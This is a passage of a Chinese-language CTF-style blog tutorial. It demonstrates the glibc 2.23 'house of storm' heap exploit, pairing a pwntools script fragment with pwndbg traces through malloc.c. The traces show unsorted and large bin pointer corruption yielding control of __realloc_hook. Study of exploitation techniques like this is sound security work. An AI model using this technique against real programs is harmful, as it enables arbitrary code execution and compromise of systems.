conn.sendlineafter(b"Please input the chunk index: ", b"0")
conn.sendlineafter(b"Please input the size: ", b"16")
cmd = b"cat src/2.23/house_of_storm/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")
首先申请chunks[0]、chunks[1]、chunks[2]、chunks[3]之后,heap内存结构布局如下:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d3000
Size: 0x4f0 (with flag bits: 0x4f1)
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d34f0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d3510
Size: 0x4e0 (with flag bits: 0x4e1)
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d39f0
Size: 0x20 (with flag bits: 0x21)
Top chunk | PREV_INUSE
Addr: 0x5667cb5d3a10
Size: 0x205f0 (with flag bits: 0x205f1)
pwndbg>
然后,释放chunks[2]和chunks[0]至unsorted bin里。
pwndbg> unsortedbin
unsortedbin
all: 0x5667cb5d3000 —▸ 0x5667cb5d3510 —▸ 0x7e7a2838db78 (main_arena+88) ◂— 0x5667cb5d3000
pwndbg>
接着,申请chunks[0]将0x5667cb5d3000从unsorted bin里提取出来,而0x5667cb5d3510则进入large bin里。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d3000
Size: 0x4f0 (with flag bits: 0x4f1)
Allocated chunk | PREV_INUSE
Addr: 0x5667cb5d34f0
Size: 0x20 (with flag bits: 0x21)
Free chunk (largebins) | PREV_INUSE
Addr: 0x5667cb5d3510
Size: 0x4e0 (with flag bits: 0x4e1)
fd: 0x7e7a2838df98
bk: 0x7e7a2838df98
fd_nextsize: 0x5667cb5d3510
bk_nextsize: 0x5667cb5d3510
Allocated chunk
Addr: 0x5667cb5d39f0
Size: 0x20 (with flag bits: 0x20)
Top chunk | PREV_INUSE
Addr: 0x5667cb5d3a10
Size: 0x205f0 (with flag bits: 0x205f1)
pwndbg> largebins
largebins
0x4c0-0x4f0: 0x5667cb5d3510 —▸ 0x7e7a2838df98 (main_arena+1144) ◂— 0x5667cb5d3510
pwndbg>
此时,可以从chunks[0]内获取libc地址,从chunks[2]内获取heap地址。
pwndbg> p/x chunks[0]
$1 = {
size = 0x4e8,
addr = 0x5667cb5d3010
}
pwndbg> x/4gx 0x5667cb5d3010-0x10
0x5667cb5d3000: 0x0000000000000000 0x00000000000004f1
0x5667cb5d3010: 0x4141414141414141 0x00007e7a2838db78
pwndbg> p/x chunks[2]
$2 = {
size = 0x4d8,
addr = 0x5667cb5d3520
}
pwndbg> x/6gx 0x5667cb5d3520-0x10
0x5667cb5d3510: 0x0000000000000000 0x00000000000004e1
0x5667cb5d3520: 0x00007e7a2838df98 0x00007e7a2838df98
0x5667cb5d3530: 0x00005667cb5d3510 0x00005667cb5d3510
pwndbg>
接着释放chunks[0]进入unsorted bin里。
pwndbg> unsortedbin
unsortedbin
all: 0x5667cb5d3000 —▸ 0x7e7a2838db78 (main_arena+88) ◂— 0x5667cb5d3000
pwndbg>
修改chunks[0]->bk为libc.sym["__realloc_hook"] - 0x10。
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x5667cb5d3000 —▸ 0x7e7a2838db78 (main_arena+88) ◂— 0x5667cb5d3000
BK: 0x5667cb5d3000 —▸ 0x7e7a2838e3a8 (main_arena+2184) —▸ 0x7e7a28070c7b (memalign_hook_ini) ◂— ret 0x31
pwndbg> x/4gx 0x7e7a2838e3a8
0x7e7a2838e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a28070c31 0x00007e7a28070c7b
pwndbg>
修改chunks[2]->bk为p64(fake_chunk + 0x8),chunks[2]->bk_nextsize为p64(fake_chunk - 0x18 - 0x5)。
pwndbg> largebins
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x5667cb5d3510 —▸ 0x7e7a2838df98 (main_arena+1144) ◂— 0x5667cb5d3510
BK: 0x5667cb5d3510 —▸ 0x7e7a2838e3b0 (__malloc_hook) —▸ 0x7e7a2807a003 (print_and_abort) ◂— pushfq
pwndbg> x/6gx 0x5667cb5d3510
0x5667cb5d3510: 0x0000000000000000 0x00000000000004e1
0x5667cb5d3520: 0x00007e7a2838df98 0x00007e7a2838e3b0
0x5667cb5d3530: 0x00005667cb5d3510 0x00007e7a2838e38b
pwndbg>
使用公式evil_size = ((chunk2_addr >> 0x28) & 0xFFFFFFFFE) - 0x10计算用来申请的内存大小。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3472
3466
3467 for (;; )
3468 {
3469 int iters = 0;
3470 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3471 {
► 3472 bck = victim->bk;
3473 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
3474 || __builtin_expect (victim->size > av->system_mem, 0))
3475 malloc_printerr (check_action, "malloc(): memory corruption",
3476 chunk2mem (victim), av);
3477 size = chunksize (victim);
pwndbg> p/x victim
$5 = 0x5667cb5d3000
pwndbg> p/x victim->bk
$6 = 0x7e7a2838e3a8
pwndbg> x/4gx 0x7e7a2838e3a8
0x7e7a2838e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a28070c31 0x00007e7a28070c7b
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x5667cb5d3000 —▸ 0x7e7a2838db78 (main_arena+88) ◂— 0x5667cb5d3000
BK: 0x5667cb5d3000 —▸ 0x7e7a2838e3a8 (main_arena+2184) —▸ 0x7e7a28070c7b (memalign_hook_ini) ◂— ret 0x31
pwndbg>
进入unsorted bin处理循环,准备触发unsorted bin attack。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3487
3481 only chunk in unsorted bin. This helps promote locality for
3482 runs of consecutive small requests. This is the only
3483 exception to best-fit, and applies only when there is
3484 no exact fit for a small chunk.
3485 */
3486
► 3487 if (in_smallbin_range (nb) &&
3488 bck == unsorted_chunks (av) &&
3489 victim == av->last_remainder &&
3490 (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
3491 {
跳过if (in_smallbin_range (nb) && ...分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3517
3511 alloc_perturb (p, bytes);
3512 return p;
3513 }
3514
3515 /* remove from unsorted list */
3516 unsorted_chunks (av)->bk = bck;
► 3517 bck->fd = unsorted_chunks (av);
pwndbg> p/x bck
$8 = 0x7e7a2838e3a8
pwndbg> x/4gx 0x7e7a2838e3a8
0x7e7a2838e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a28070c31 0x00007e7a28070c7b
pwndbg>
__realloc_hook即将被修改为unsorted_chunks (av)。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3521
3515 /* remove from unsorted list */
3516 unsorted_chunks (av)->bk = bck;
3517 bck->fd = unsorted_chunks (av);
3518
3519 /* Take now instead of binning if exact fit */
3520
► 3521 if (size == nb)
3522 {
pwndbg> x/4gx 0x7e7a2838e3a8
0x7e7a2838e3a8 <main_arena+2184>: 0x0000000000021000 0x0000000000000000
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a2838db78 0x00007e7a28070c7b
pwndbg> p/x size
$9 = 0x4f0
pwndbg> p/x nb
$10 = 0x50
pwndbg>
由于不满足if (size == nb)条件,并且不满足if (in_smallbin_range (size))条件,最终进入if (in_smallbin_range (size))其else分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3534
3528 alloc_perturb (p, bytes);
3529 return p;
3530 }
3531
3532 /* place chunk in bin */
3533
► 3534 if (in_smallbin_range (size))
3535 {
3536 victim_index = smallbin_index (size);
3537 bck = bin_at (av, victim_index);
3538 fwd = bck->fd;
3539 }
3540 else
3541 {
3542 victim_index = largebin_index (size);
3543 bck = bin_at (av, victim_index);
3544 fwd = bck->fd;
3545
3546 /* maintain large bins in sorted order */
3547 if (fwd != bck)
3548 {
pwndbg> p/x bck
$11 = 0x7e7a2838df98
pwndbg> p/x bck->fd
$12 = 0x5667cb5d3510
pwndbg>
由于满足if (fwd != bck)条件,进入该分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3553
3547 if (fwd != bck)
3548 {
3549 /* Or with inuse bit to speed comparisons */
3550 size |= PREV_INUSE;
3551 /* if smaller than smallest, bypass loop below */
3552 assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
► 3553 if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
3554 {
pwndbg> p/x size
$13 = 0x4f1
pwndbg> p/x bck->bk->size
$14 = 0x4e1
pwndbg>
不满足if ((unsigned long) (size) < (unsigned long) (bck->bk->size))条件,进入其else分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3565
3559 victim->bk_nextsize = fwd->fd->bk_nextsize;
3560 fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
3561 }
3562 else
3563 {
3564 assert ((fwd->size & NON_MAIN_ARENA) == 0);
► 3565 while ((unsigned long) size < fwd->size)
3566 {
3567 fwd = fwd->fd_nextsize;
3568 assert ((fwd->size & NON_MAIN_ARENA) == 0);
3569 }
3570
3571 if ((unsigned long) size == (unsigned long) fwd->size)
pwndbg> p/x size
$15 = 0x4f1
pwndbg> p/x fwd->size
$16 = 0x4e1
pwndbg>
跳过fwd->fd_nextsize链表遍历,并进入if ((unsigned long) size == (unsigned long) fwd->size)其else分支。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3579
3573 fwd = fwd->fd;
3574 else
3575 {
3576 victim->fd_nextsize = fwd;
3577 victim->bk_nextsize = fwd->bk_nextsize;
3578 fwd->bk_nextsize = victim;
► 3579 victim->bk_nextsize->fd_nextsize = victim;
3580 }
3581 bck = fwd->bk;
pwndbg> p/x victim
$20 = 0x5667cb5d3000
pwndbg> p/x victim->bk_nextsize
$21 = 0x7e7a2838e38b
pwndbg> p/x victim->bk_nextsize->fd_nextsize
$22 = 0x0
pwndbg> x/6gx 0x7e7a2838e38b
0x7e7a2838e38b <main_arena+2155>: 0x00000000007e7a28 0x0000010000000000
0x7e7a2838e39b <main_arena+2171>: 0x0210000000000000 0x0210000000000000
0x7e7a2838e3ab <main_arena+2187>: 0x0000000000000000 0x38db780000000000
pwndbg> p/x fwd
$23 = 0x5667cb5d3510
pwndbg> p/x fwd->bk
$24 = 0x7e7a2838e3b0
pwndbg>
修改victim->bk_nextsize->fd_nextsize为0x5667cb5d3000之后,紧接着将bck修改为0x7e7a2838e3b0。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3591
3585 victim->fd_nextsize = victim->bk_nextsize = victim;
3586 }
3587
3588 mark_bin (av, victim_index);
3589 victim->bk = bck;
3590 victim->fd = fwd;
► 3591 fwd->bk = victim;
3592 bck->fd = victim;
3593
3594 #define MAX_ITERS 10000
3595 if (++iters >= MAX_ITERS)
pwndbg> p/x fwd
$26 = 0x5667cb5d3510
pwndbg> p/x fwd->bk
$27 = 0x7e7a2838e3b0
pwndbg> p/x bck
$28 = 0x7e7a2838e3b0
pwndbg> p/x bck->fd
$29 = 0x7e7a28070c7b
pwndbg> x/4gx 0x7e7a2838e3b0
0x7e7a2838e3b0 <__malloc_hook>: 0x0000000000000056 0x00007e7a2838db78
0x7e7a2838e3c0 <__memalign_hook>: 0x00007e7a28070c7b 0x00007e7a2807a003
pwndbg>
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3595
3589 victim->bk = bck;
3590 victim->fd = fwd;
3591 fwd->bk = victim;
3592 bck->fd = victim;
3593
3594 #define MAX_ITERS 10000
► 3595 if (++iters >= MAX_ITERS)
pwndbg> x/4gx 0x7e7a2838e3b0
0x7e7a2838e3b0 <__malloc_hook>: 0x0000000000000056 0x00007e7a2838db78
0x7e7a2838e3c0 <__memalign_hook>: 0x00005667cb5d3000 0x00007e7a2807a003
pwndbg>
开始进入第二轮循环。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3472
3466
3467 for (;; )
3468 {
3469 int iters = 0;
3470 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3471 {
► 3472 bck = victim->bk;
pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x5667cb5d3000 —▸ 0x5667cb5d3510 —▸ 0x7e7a2838df98 (main_arena+1144) ◂— 0x5667cb5d3510
BK: 0x7e7a2838e3a8 (main_arena+2184) —▸ 0x5667cb5d3000 —▸ 0x7e7a2838e3b0 (__malloc_hook) —▸ 0x7e7a2807a003 (print_and_abort) ◂— pushfq
pwndbg> p/x victim
$30 = 0x7e7a2838e3a8
pwndbg> x/4gx 0x7e7a2838e3a8
0x7e7a2838e3a8 <main_arena+2184>: 0x67cb5d3000021000 0x0000000000000056 <= fake chunk
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a2838db78 0x00005667cb5d3000
pwndbg>
可以发现victim刚好存在一个fake chunk。
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3521
3515 /* remove from unsorted list */
3516 unsorted_chunks (av)->bk = bck;
3517 bck->fd = unsorted_chunks (av);
3518
3519 /* Take now instead of binning if exact fit */
3520
► 3521 if (size == nb)
3522 {
3523 set_inuse_bit_at_offset (victim, size);
3524 if (av != &main_arena)
3525 victim->size |= NON_MAIN_ARENA;
3526 check_malloced_chunk (av, victim, nb);
3527 void *p = chunk2mem (victim);
3528 alloc_perturb (p, bytes);
pwndbg> p/x size
$34 = 0x50
pwndbg> p/x nb
$35 = 0x50
pwndbg>
由于满足if (size == nb)条件,将fake chunk返回用户。
pwndbg> bins
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x5667cb5d3000 —▸ 0x7e7a2838db78 (main_arena+88) ◂— 0x5667cb5d3000
BK: 0x5667cb5d3000 —▸ 0x7e7a2838e3b0 (__malloc_hook) —▸ 0x7e7a2807a003 (print_and_abort) ◂— pushfq
smallbins
empty
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x5667cb5d3510 —▸ 0x7e7a2838df98 (main_arena+1144) ◂— 0x5667cb5d3510
BK: 0x5667cb5d3510 —▸ 0x5667cb5d3000 —▸ 0x7e7a2838e3b0 (__malloc_hook) —▸ 0x7e7a2807a003 (print_and_abort) ◂— pushfq
pwndbg> x/10gx chunks
0x56678b7b40c0 <chunks>: 0x0000000000000010 0x00005667cb5d3010
0x56678b7b40d0 <chunks+16>: 0x0000000000000018 0x00005667cb5d3500
0x56678b7b40e0 <chunks+32>: 0x0000000000000020 0x00005667cb5d3520
0x56678b7b40f0 <chunks+48>: 0x0000000000000018 0x00005667cb5d3a00
0x56678b7b4100 <chunks+64>: 0x0000000000000046 0x00007e7a2838e3b8
pwndbg> x/4gx 0x00007e7a2838e3b8
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a2838db00 0x00005667cb5d3000
0x7e7a2838e3c8 <obstack_alloc_failed_handler>: 0x00007e7a2807a003 0x00007e7a281581b2
pwndbg> x/4gx 0x00007e7a2838e3b8-0x10
0x7e7a2838e3a8 <main_arena+2184>: 0x67cb5d3000021000 0x0000000000000056
0x7e7a2838e3b8 <__realloc_hook>: 0x00007e7a2838db00 0x00005667cb5d3000
pwndbg>
可以发现chunks[4]已经获取__realloc_hook的控制权了,接下来获取shell轻而易举。
未完待续…
参考
https://github.com/BinRacer/pwn4heap/tree/master/src/2.23
文档信息
- 本文作者:BinRacer
- 本文链接:https://BinRacer.github.io/2025/11/28/pwn4heap-glibc2.23%E5%85%B6%E5%9B%9B/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)